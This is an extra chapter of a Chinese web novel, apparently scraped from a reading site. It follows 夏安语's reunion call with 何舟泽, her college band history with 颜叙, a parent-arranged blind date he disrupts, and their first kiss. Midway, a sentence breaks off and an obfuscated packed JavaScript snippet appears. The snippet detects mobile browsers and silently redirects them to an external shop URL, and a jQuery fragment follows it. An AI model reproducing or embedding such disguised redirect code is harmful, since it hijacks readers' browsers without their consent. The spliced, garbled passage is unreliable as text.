81.番外·胆小鬼(1)[番外]

作品:《不唱情歌

    一


    夏安语接到何舟泽电话的时候,她还在公司熬夜赶图。临近交稿日,客户突然增补了好几项新需求,作为卑微乙方,夏安语只能忍气吞声。


    “Hey大明星,能这个点给我打电话的也就只有你了。”她戏谑地开口。


    一个是绘图不分昼夜的建筑人,一个是行程日夜颠倒的歌手——看上去一样的悲惨,如果不考虑她那跟何舟泽比起来天差地别的工资的话。


    电话那头的何舟泽刚结束新歌的录制,唱到午夜,声音略有些沙哑。


    他跟着玩笑道:“可不是吗,也就我们最勤奋。”


    “哎,别了。我这微薄薪水哪能跟您相提并论,我只是个卑微打工人罢了。”


    夏安语从工位起身,准备去茶水间泡杯咖啡再续一续生命条。


    她耸肩将手机夹在耳下,腾出两只手操作咖啡机。咖啡液汩汩流出,在马克杯里打着泡泡。


    “这么晚了,给我打电话有什么事?”


    她和何舟泽很少通话,他们平时多在微信上联系。虽然毕业后两人都常驻京市,按理感情不减,但他们都是空中飞人,全国各地出差,电话不如微信方便。


    何舟泽好像在翻什么书页,纸张哗啦啦地响。他说:“我最近在录一个节目。”


    夏安语“哦”了声,说道:“我知道。新一季的《新声》嘛。我们不是天天在群里给你打call吗?最新一期的歌写得不错,除了听起来有点半死不活。”


    夏安语吐槽的那首“半死不活”的歌,是何舟泽在风鸣岛上写的。正式录制前一天,乔之和他划清界限,他连夜大修了这首本该记录二人时光的歌,演出时他的心情也正在谷底,最后的成品很是压抑。


    何舟泽轻笑了声:“谢谢你的建议。那你有没有兴趣来参加最后一期节目的录制,我们——同味素乐队,一起写一首歌。”


    夏安语刚喝了一口咖啡,听到他这话,差点呛住。


    她连咳了好几声,说:“你认真的吗?”


    何舟泽解释道:“当然。最后一期要出合作舞台,主题是“初心”。我不想找圈内人,毕竟乐队才是我的初心。”


    “可是——”夏安语犹豫了几秒,才继续说道,“可是颜叙那家伙不是还在美国吗?我们凑不齐人吧。”


    紧接着,何舟泽告诉了她一个石破天惊的消息:“颜叙马上要回国了。”


    夏安语突然感到一阵晕眩,这个突如其来的消息和头顶白炽灯投来的刺眼灯光一道砸碎了她。


    颜叙要回国了。


    他们已经七年未见。


    夏安语还记得她第一次见颜叙,是在音乐社的纳新面试上。


    当时他留着个狼尾,打了好几个耳钉,一身潮牌,手指上还套着几个贵得要死的戒指,整个人都透露着一股“别惹酷哥”的气质。惹得夏安语的潮人恐惧症当场就要犯了。


    那时她心想,现在的小孩都这样了吗?刚高考结束几个月就能蜕变成这样?


    后来她才知道,颜叙不羁的浪子生涯甚至可以追溯到初中时代。


    ——当然这是后话。


    音乐社不缺奇形怪状的人,颜叙顶多是看起来比一般人更拽。而且他随后就敲了个技惊四座的架子鼓,又用烟嗓唱了首迷死人的歌——他外表如何就更加不重要了,他们社长差点就要当场盖章通知他入社。


    颜叙加入音乐社后,不常来他们的日常活动,例会更是几乎都没参加过。他独来独往,看上去只是开学那会儿顺手投了个报名表,对社团活动并没多大兴趣。


    夏安语理解有才华的人通常孤傲,但她一向也不爱热脸贴冷屁股,因此两人在很长一段时间里都没有任何互动。


    直到何舟泽在一次内部音乐交流活动中注意到了颜叙,他们才有了交集。


    那时她和何舟泽还有姚朔在捣鼓着组建乐队的事,但由于一直找不到合适的鼓手,迟迟没有下文。


    那次活动主要是新社员表演,其他成员都三三两两坐成一团,颜叙一个人窝在角落,见谁都爱答不理。


    直到轮到他,他才起身抖抖衣服,从头带尾都带着副不屑的神情,打了两分钟的架子鼓。


    ——但不得不说,他确实有点本事在身上。


    因为何舟泽这种在音乐上一向挑剔的人,在看完颜叙的表演后,顿时眼睛一亮。


    “老姚,小夏,我们乐队有希望了。”何舟泽正欲起身找颜叙搭话。


    夏安语拉住他,朝颜叙独自窝着的角落努努嘴道:“还是别了吧,这位一看就生人勿扰。咱哪有功夫供这尊大佛啊。”


    何舟泽沉吟了片刻,拳头往掌心一敲,像是找到了什么好点子道:“那我们仨一起去,让学弟感受一下前辈的热情。”


    姚朔是个看热闹不嫌事大的性子,当即也要起身。夏安语于是只能不情不愿地跟着他俩一起往颜叙那边挪。


    自顾自靠在墙边的颜叙见有三个不认识的人突然凑了过来,皱皱眉头没说话。


    他心想,八成又是群被他惊艳到的普通人。


    上赶着巴结他的人向来很多,他没兴趣应付。


    这几位倒是都长得不错,尤其是中间那位,颜值勉强可以和他一论高下。因此他难得赏了个打量的眼神。


    中间那位帅哥向他伸手道:“学弟你好,我叫何舟泽,今年大二。”


    对方看起来像是要和他握手,但颜叙只是看了眼,并无反应。


    不过尽管如此,那三个人竟然直接在他身边坐下了,那个叫何舟泽继续尝试搭话:“刚刚你的表演是自己编的曲吗?实在是太棒了。”


    颜叙听见有人当面这么夸他,难得好心情地应了句“嗯”,但也没多说什么。


    何舟泽一直喋喋不休地试图开启话题,但颜叙除了刚开始那会儿回了句话之外,再没别的反应。


    夏安语在一旁看得血压都高了,忍不住出声嘲讽道:“学弟,虽然你鼓打得不错,但素质有待提高啊。”


    男生向她投来个眼神,接着竟开口回了句:“我通常不向普通的陌生人展示素质。”


    讽刺的意味拉满,夏安语气得肝疼,当即就要起身走人。


    不料何舟泽笑了声,说道:“谢谢你刚才的精彩演出,作为回报,我也来一首。”


    颜叙冷哼了声,显然没抱什么期待。


    何舟泽临时在新社员的节目中插了个队,上去也打了个鼓——几乎完美复刻了颜叙的表演。


    夏安语发誓,她从来没见过何舟泽这么锋芒毕露的时刻。


    她清楚何舟泽很有音乐天赋,也知道他会很多乐器,但这回属实是被他装到了。


    她见颜叙神情变得极其精彩,像是在脸上打翻了个调料台——不得不说这一波操作让她很过瘾。


    等何舟泽下来,重新坐到颜叙身边,刚刚那个眼高于顶的男生主动开口说话了:“……抱歉,刚刚冒犯了。”


    何舟泽脸上挂着他惯常的笑,友好说道:“不好意思,当场剽窃了你的作品。”


    夏安语不知道原来何舟泽这么会阴阳怪气。这哪是剽窃,简直就是在正主面前炫技。


    她在心里暗爽。


    颜叙出身富贵,在音乐上有点天赋,因此不太瞧得上一般人。然而他一旦认可谁,便又是另一副面孔。


    他的扑克脸之下,其实有一个极其鲜活生动的灵魂。


    三人连拐带骗地将颜叙拉入伙,四人乐队在乔之的见证下正式成立,他们取了个名叫“同味素”。这个名字借用“同位素”一词,意思是他们几人是不同形态下的同一元素,在音乐上有相似的品味和追求。


    这个名还是乔之给的灵感。


    夏安语其实有些不记得她是什么时候和颜叙拉近关系的了,起初大概是因为他们俩常常在活动室一起练习到很晚。


    她大二那年,乐队拿到了跨年晚会的演出资格,元旦前一个月,四个人常聚在一起练习。


    只不过乔之习惯早睡,何舟泽到点就跑路去陪女朋友;而姚朔则每天雷打不动地一到晚上九点就要上线打游戏,漏了一天都像是精神世界崩塌。因此常常是她和颜叙两个人在活动时练到深夜。


    颜叙每晚都骑车送她回寝室。


    他常常调侃:“学姐,你知道有多少女生想坐我的后座吗?你可是每晚都有此殊荣。”


    他叫她“学姐”时总是语调轻浮,听起来像是打趣调笑。


    夏安语不知道自己会受多少人羡慕,但颜大少爷屈尊当她的司机的确让她感到有些意外。


    那段日子里,晴朗时他们一起吹着晚风哼着歌,下雨天她就在后座替他打伞。


    每晚的风都将他们吹得很近很近。


    跨年演出很成功,“同味素”乐队在校园里渐渐有了名气。颜叙长了张祸国殃民的脸,配上通身那副拽到死的酷哥气质,毫不意外地受到了很多人的关注——尤其是女生。


    夏安语不止一次撞见有人来音乐社的活动室蹲他,可惜除非准备演出,颜叙依旧很少来参加社团活动。


    她替他收过不少情书和礼物,每次给他时,对方都懒洋洋地抬眼道:“学姐,你没有偷看吧?”


    夏安语将情书丢到他的脸上,冷笑道:“谁稀罕呢。”


    她也是有很多人追的好不好!比如那个医学院的学长,已经托人给她送了好几次礼物了,只不过她回回都婉拒罢了。


    时间飞速流走,眼见着颜叙的后座载过一个又一个不同的女生,他们乐队参加了一场又一场演出。唯一不变的是,他们还是常常一起练习到深夜,他还是喜欢用他慵懒又轻浮的语调喊她“学姐”,他还是会把每晚的后座名额留给她。


    夏安语以为,他们会一直保持这样不近不远的距离直到毕业。


    二


    大二下学期某次草坪音乐节前,夏安语接到母亲的电话。


    电话里的女人用她惯有的尖锐声音命令她:“小李这周末去江临出差,你去和他见一面。”


    母亲口中的“小李”是她邻居家的儿子,这几年靠着家里做了点生意,赚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019899|141525||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了些钱。


    李良比夏安语大八岁,今年过年无意见了夏安语一面,从此对她念念不忘。母亲图他们家有点小钱,竟撺掇着夏安语和他多接触接触。


    李良长了张马脸,小眼厚唇。夏安语一想到他对自己上下打量,仿佛在挑选商品的神情,就忍不住想吐。


    “我不想去。”夏安语冰冷拒绝。


    女人厉声呵斥:“这哪由你说了算,老乡之间见个面怎么了?”


    夏安语想问,您怎么就这么想将自己的女儿卖出去呢?


    哦,她忘记了,她弟弟才是他们的心头肉。


    见夏安语没反应,电话那头又换了个男声,是她的父亲。男人故作为难的样子卖惨:“小语,我们家还欠他们家一笔钱呢。你看,要不还是先委屈委屈,这次招待一下他吧。”


    夏安语闭上眼,自暴自弃道:“随便吧,你们说了算。”


    那天的演出并不理想,她全程不在状态。乐队其他几人都看出她的不对劲,但她不愿将自己的丑事告知他人,找了个借口推脱过去。


    到了周六傍晚,她和李良约在学校附近一家餐厅。


    男人还是年初那副模样,审视她的眼神毫不遮掩,话里话外都是“我赚了多少钱”“没人比我更适合你”。


    夏安语几乎无法忍耐,就在她准备拎包走人时,忽然有个人在她身边坐了下来,揽着她的肩,无比自然地说:“小夏,你和别的男人吃饭,怎么不跟我说呢?”


    是颜叙。


    男生的派头十足,没戴耳钉,也没穿平时酷爱的街头风。他一身贵气的高定,专门做了个优雅又不显刻意的发型。看起来全然不像是个普通的大一学生,倒是有点富家少爷的味道。


    更要命的是,颜叙用他那饱含嘲讽的语气故作惊讶道:“呀,这位大哥的表真好看,百达翡丽什么时候出了这款?我好像没见过呢。”


    李良故意戴了只赝品装大款,这会儿被拆穿,脸色青黑。他还嘴硬道:“小孩子不认识新款很正常。”


    “哦,是吗?”颜叙拿过一旁的水壶,给自己倒了杯水,不经意间露出袖中价值七位数的腕表。他轻笑道,“这两年确实没怎么关注,原来他们家的工艺已经退步成这样了吗?”


    说完,他捏着水杯浅喝了一口,皱眉指桑骂槐:“这家店怎么连茶水都有股没品的味道。小夏,我们走吧,我怕呆久了人也会掉档次。”


    夏安语跟着颜叙走出很远,整个人都还是懵的。


    等颜叙摇醒她,她才开口说了句:“……这家餐厅是我选的。”


    颜叙那张臭脸难得绽了个真心实意的笑:“学姐,你怎么一开口就要挑我的刺?”


    夏安语也想跟着笑,但她还是绷住了表情,假装嫌弃道:“今天被你装到了。换身行头还真是人模狗样的,专门来坏事呢?”


    “拜托——”男生不满道,“我今天可是特意偷了只我爸的手表来替你撑场面,你怎么一点都不领情呢?这种没品的男人,你还要和他相亲?”


    “相亲”这两个字显然刺痛了夏安语。是啊,说什么“招待老乡”,实际上不就是想要迫切地从她的婚姻中捞上一笔吗?他们完全没想过,她现在才二十岁,她的人生明明才刚开始。


    夏安语叹了口气,看着颜叙道:“我是不想,可我能怎么办呢?”


    演出那天,颜叙其实听到了夏安语和父母的对话,所以他才想了这么一出。


    他心里清楚,他帮着避开这次,以后也一定还会有很多次。


    家庭关系,这也是他过往十九年最搞不懂的难题。


    天色已然暗下来,两人不知不觉走回了学校。


    眼前这一处不是学生的主要活动区域,人烟寥寥,马路上只有他们俩被路灯拉的长长的影子。


    颜叙烦躁地停下了脚步,靠在一根路灯上,从口袋里掏出个打火机,顺手点了根烟。


    “我也不知道。”他吸了口烟,精致的五官在吐出的白雾后若隐若现,“我和我爸妈的关系也很他妈的不可理喻。”


    那是夏安语第一次看见颜叙抽烟,也是第一次听他提起自己的家庭。


    从颜叙平时的吃穿用度中,她很难看不出他们家非富即贵。上流社会的家族情况通常错综复杂,颜叙显然是家庭关系的牺牲品。


    夏安语在他故作不在意的神情中读出了他的受伤,她想到自己的处境,竟生出一种同是天涯沦落人的错觉。


    她走上前,夺过男生手中的烟,在他惊讶的目光中猛吸了一大口。


    毫不意外的,她狠狠呛到了。


    颜叙看她连连咳嗽,笑出了声:“是不是还以为自己很酷?”


    夏安语咳了好一会儿才停下来,泪眼朦胧地抬头瞪他。


    路灯投下暧昧不明的光线,夜色叆叇。


    夏安语看见颜叙突然靠近了,他低头吸了一口她手中的烟,接着那张令人心动的脸也变得模糊。


    然后,他吻了她。


    烟草味,辛辣入骨,她这辈子都忘不掉。